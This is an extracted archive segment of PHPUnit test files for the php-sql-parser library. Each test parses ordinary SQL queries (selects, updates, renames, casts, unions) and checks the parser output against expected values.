 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue322Test extends \PHPUnit\Framework\TestCase
{
 /**
  * @doesNotPerformAssertions
  */

	public function testIssue322()
	{
    $sql = "SELECT IF(createdAt >= CURRENT_DATE(), '1', '0') FROM f_another_table WHERE id in(SELECT id FROM f_table WHERE createdAt > NOW())";
		$parser = new PHPSQLParser();
		$parsed = $parser->parse($sql, true);
		$creator = new PHPSQLCreator();
		$sql = $creator->create($parsed);

  }
}

PK     \8p  p  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue46Test.phpnu [        <?php
/**
 * issue46.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;

class issue46Test extends \PHPUnit\Framework\TestCase {
	public function testIssue46() {
		$parser = new PHPSQLParser();
		$sql = "SELECT abc'haha'";
        $this->expectException(\PHPSQLParser\exceptions\UnableToCalculatePositionException::class);
		$parser->parse($sql, true);
    }
}

PK     \&    C  vendor/greenlion/php-sql-parser/tests/cases/parser/issue338Test.phpnu [        <?php

namespace parser;

use PHPSQLParser\PHPSQLParser;

class issue338Test extends \PHPUnit\Framework\TestCase
{
	public function testIssue338() {
		$sql = "SELECT id, date, type as type, libelle as libelle, TRUNCATE(debit, 2) as debit, ROUND(COALESCE(credit, 0) - COALESCE(debit, 0), 2) as solde FROM compte_cp";

		$parser = new PHPSQLParser();

		$parser->parse($sql, true);
		$parsed = $parser->parsed;

		$this->assertNotFalse($parsed);
		$this->assertTrue(is_array($parsed));
    $this->assertTrue(!array_key_exists('TRUNCATE', $parsed));

		$sql = "TRUNCATE TABLE truncate_table";
		$parser->parse($sql, true);
		$parsed = $parser->parsed;

		$this->assertNotFalse($parsed);
		$this->assertTrue(is_array($parsed));
    $this->assertTrue(array_key_exists('TRUNCATE', $parsed));
	}

}
PK     \o3
  3
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue34Test.phpnu [        <?php
/**
 * issue34.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue34Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue34() {


        $parser = new PHPSQLParser();
        $sql = "SELECT * FROM cache as t";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue34a.serialized');
        $this->assertEquals($expected, $p, 'SELECT statement with keyword CACHE as tablename');

        $sql = "INSERT INTO CACHE VALUES (1);";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue34b.serialized');
        $this->assertEquals($expected, $p, 'INSERT statement with keyword CACHE as tablename');

    }
}

PK     \x    B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue72Test.phpnu [        <?php
/**
 * issue72.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue72Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue72() {


        $sql = "update table set col=@max";
        $parser = new PHPSQLParser($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue72.serialized');
        $this->assertEquals($expected, $p, 'user defined variables should not fail');

    }
}

PK     \Ҍ< K	  K	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue95Test.phpnu [        <?php
/**
 * issue95.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;

use PHPUnit\Framework\TestCase;
use PHPSQLParser\PHPSQLParser;

class issue95Test extends TestCase
{
    public function testIssue95()
    {
        $sql="SELECT * FROM ((SELECT 1 AS `ID`) UNION (SELECT 2 AS `ID`)) AS `Tmp`";

        try {
        	$parser = new PHPSQLParser($sql);
        } catch (UnableToCalculatePositionException $e) {}

        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue95.serialized');

        $this->assertEquals($expected, $p, 'union within the from clause');
    }
}

PK     \bF  F  A  vendor/greenlion/php-sql-parser/tests/cases/parser/selectTest.phpnu [        <?php
/**
 * select.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class selectTest extends \PHPUnit\Framework\TestCase {
	
    public function testSelect() {
        $parser = new PHPSQLParser();

        $sql = 'SELECT
        1';
        $p=$parser->parse($sql);

        $this->assertEquals(1, count($p));
        $this->assertEquals(1, count($p['SELECT']));

        $this->assertEquals('const', $p['SELECT'][0]['expr_type']);
        $this->assertEquals('1', $p['SELECT'][0]['base_expr']);
        $this->assertEquals('', $p['SELECT'][0]['sub_tree']);


        $sql = 'SELECT 1+2 c1, 1+2 as c2, 1+2,  sum(a) sum_a_alias,a,a an_alias, a as another_alias,terminate
                  from some_table an_alias
        	where d > 5;';
        $parser->parse($sql);
        $p = $parser->parsed;

        $this->assertEquals(3, count($p));
        $this->assertEquals(8, count($p['SELECT']));

        $this->assertEquals('terminate', $p['SELECT'][count($p['SELECT'])-1]['base_expr']);

        $this->assertEquals(3, count($p));
        $this->assertEquals(1, count($p['FROM']));
        $this->assertEquals(3, count($p['WHERE']));

        $parser->parse('SELECT NOW( ),now(),sysdate( ),sysdate() as now');
        $this->assertEquals('sysdate', $parser->parsed['SELECT'][3]['base_expr']);


        $sql = " SELECT a.*, surveyls_title, surveyls_description, surveyls_welcometext, surveyls_url  FROM SURVEYS AS a INNER JOIN SURVEYS_LANGUAGESETTINGS on (surveyls_survey_id=a.sid and surveyls_language=a.language)  order by active DESC, surveyls_title";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'select1.serialized');
        $this->assertEquals($expected, $p, 'a test for ref_clauses');


        $sql = "SELECT pl_namespace,pl_title FROM `pagelinks` WHERE pl_from = '1' FOR UPDATE";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'select2.serialized');
        $this->assertEquals($expected, $p, 'select for update');

    }
}

PK     \6		  	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue51Test.phpnu [        <?php
/**
 * issue51.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue51Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue51() {


        $parser = new PHPSQLParser();

        $sql = "SELECT CAST( 12 AS decimal( 9, 3 ) )";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue51.serialized');
        $this->assertEquals($expected, $p, 'should not die if query contains cast expression');

        $creator = new PHPSQLCreator($p);
        $this->assertEquals('SELECT CAST(12 AS decimal (9 , 3))', $creator->created);
    }
}

PK     \xP%  %  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue31Test.phpnu [        <?php
/**
 * issue31Test.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class Issue31Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue31() {

        $parser = new PHPSQLParser();
        $sql = "SELECT	sp.level,
        		CASE sp.level
        			WHEN 'bronze' THEN 0
        			WHEN 'silver' THEN 1
        			WHEN 'gold' THEN 2
        			ELSE -1
        		END AS levelnum,
        		sp.alt_en,
        		sp.alt_pl,
        		DATE_FORMAT(sp.vu_start,'%Y-%m-%d %T') AS vu_start,
        		DATE_FORMAT(sp.vu_stop,'%Y-%m-%d %T') AS vu_stop,
        		ABS(TO_DAYS(now()) - TO_DAYS(sp.vu_start)) AS frdays,
        		ABS(TO_DAYS(now()) - TO_DAYS(sp.vu_stop)) AS todays,
        		IF(ISNULL(TO_DAYS(sp.vu_start)) OR ISNULL(TO_DAYS(sp.vu_stop))
        			, 1
        			, IF(TO_DAYS(now()) < TO_DAYS(sp.vu_start)
        				, TO_DAYS(now()) - TO_DAYS(sp.vu_start)
        				, IF(TO_DAYS(now()) > TO_DAYS(sp.vu_stop)
        					, TO_DAYS(now()) - TO_DAYS(sp.vu_stop)
        					, 0))) AS status,
        		st.id,
        		SUM(IF(st.type='view',1,0)) AS view,
        		SUM(IF(st.type='click',1,0)) AS click
        FROM	stats AS st,
        		sponsor AS sp
        WHERE	st.id=sp.id
        GROUP BY st.id
        ORDER BY sp.alt_en asc, sp.alt_pl asc";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue31.serialized');
        $this->assertEquals($expected, $p, 'very complex statement with keyword view as alias');
    }
}
?>
PK     \
  
  A  vendor/greenlion/php-sql-parser/tests/cases/parser/updateTest.phpnu [        <?php
/**
 * update.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class updateTest extends \PHPUnit\Framework\TestCase {
	
    public function testUpdate() {
        $parser = new PHPSQLParser();

        $sql = "UPDATE table1 SET field1='foo' WHERE field2='bar' AND id=(SELECT id FROM test1 t where t.field1=(SELECT id from test2 t2 where t2.field = 'foo'))";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'update1.serialized');
        $this->assertEquals($expected, $p, 'update with a sub-select');


        $sql = "update SETTINGS_GLOBAL set stg_value='' where stg_name='force_ssl'";
        $parser->parse($sql);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'update2.serialized');
        $this->assertEquals($expected, $p, 'simple update with strings');

    }
}

PK     \BX<
  <
  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue87Test.phpnu [        <?php
/**
 * issue87.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
use PHPSQLParser\PHPSQLParser;
use PHPSQLParser\PHPSQLCreator;

class issue87Test extends \PHPUnit\Framework\TestCase {
	
    public function testIssue87() {


        $parser = new PHPSQLParser();
        $sql = "RENAME TABLE a TO b";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue87a.serialized');
        $this->assertEquals($expected, $p, 'rename table');

        $parser = new PHPSQLParser();
        $sql = "RENAME TABLE a TO b, `c` to `a`, foo.bar to hello.world";
        $parser->parse($sql, true);
        $p = $parser->parsed;
        $expected = getExpectedValue(dirname(__FILE__), 'issue87b.serialized');
        $this->assertEquals($expected, $p, 'rename multiple tables');

    }
}

PK     \oXT	  T	  B  vendor/greenlion/php-sql-parser/tests/cases/parser/issue38Test.phpnu [        <?php
/**
 * issue38.php
 *
 * Test case for PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */
namespace PHPSQLParser\Test\Parser;
